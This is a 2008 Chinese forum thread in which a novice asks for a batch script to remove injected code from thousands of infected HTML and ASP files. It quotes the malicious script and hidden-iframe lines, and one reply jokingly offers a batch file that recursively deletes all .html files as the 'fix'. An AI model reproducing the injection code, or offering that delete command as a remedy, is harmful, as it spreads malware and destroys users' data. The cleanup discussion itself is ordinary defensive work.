Board logo

标题: [求助]如何清除网页文件中的恶意代码? [打印本页]

作者: 40961434     时间: 2008-5-10 20:22    标题: [求助]如何清除网页文件中的恶意代码?

我是一个小菜不会VBS
请各位大哥能不能帮我编一个批处理!
我的电脑上的HTML和HTM文件全被写了:
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
asp的文件被写了:<iframe  width=0 height=0></iframe> 语句
跪求各位大哥帮忙了!

[ Last edited by lxmxn on 2008-5-12 at 12:12 AM ]
作者: 26933062     时间: 2008-5-10 20:43
求教应该拨打110,各位大哥帮不了你。。。。!你再跪也没用。。。。
作者: 40961434     时间: 2008-5-10 20:45
我就查点一个个文件去删了,但有几千个网页 我实在没办法呀
作者: wfy150     时间: 2008-5-10 21:09
你是想把HTML和HTM文件都删了是吧!
直接说嘛!
@echo off
for /r %%i in (.) do del %%i\*.html
del *.bat
把上面的代码放到根目录下点击运行就可以了.
作者: lxmxn     时间: 2008-5-10 21:29
网上很多文本替换工具,自己去搜索一下吧,关键字“文本替换工具”。
作者: 40961434     时间: 2008-5-11 19:01
版主,现在的文本替换工具太差了!根本替换不掉网页最后面的代码!
下面是我今天研究了一天找了点心得但有几个问题解决不了,请帮忙解决下。
@echo off
setlocal enabledelayedexpansion
set a=forfiles /p d:\ /m *.htm* /s
for /f "delims=" %%i in ('type "%a%"') do (
    set str=%%i
    set "str=!str:123=321!"
    echo !str!>>"%a%"_tmp.txt
)
move /y "%a%"_tmp.txt "%a%"

但是forfiles找的不是绝对路径所以 还是删不到挂马语句 !
作者: knoppix7     时间: 2008-5-11 19:46
把昨天误扣的分补上。

提示一下.
find /v
把制定的不显示.然后配合for /r..
作者: bat-zw     时间: 2008-5-11 19:49    标题: 根据楼主思路随便写一个,请回馈信息:


@echo off&setlocal enabledelayedexpansion
for /f "delims=" %%a in ('dir /s /b *.htm*') do (
     set n=0
     for /f "delims=" %%i in ('type "%%a"') do (
          set str=%%i&set /a n+=1
          set str=!str:123=321!
          if !n! equ 1 (
             echo !str!>"%%a"
             ) else (
             echo !str!>>"%%a"
          )
    )
)
echo 替换清理完毕!
pause>nul
注:加双引号是为了兼容路径和文件名上的空格。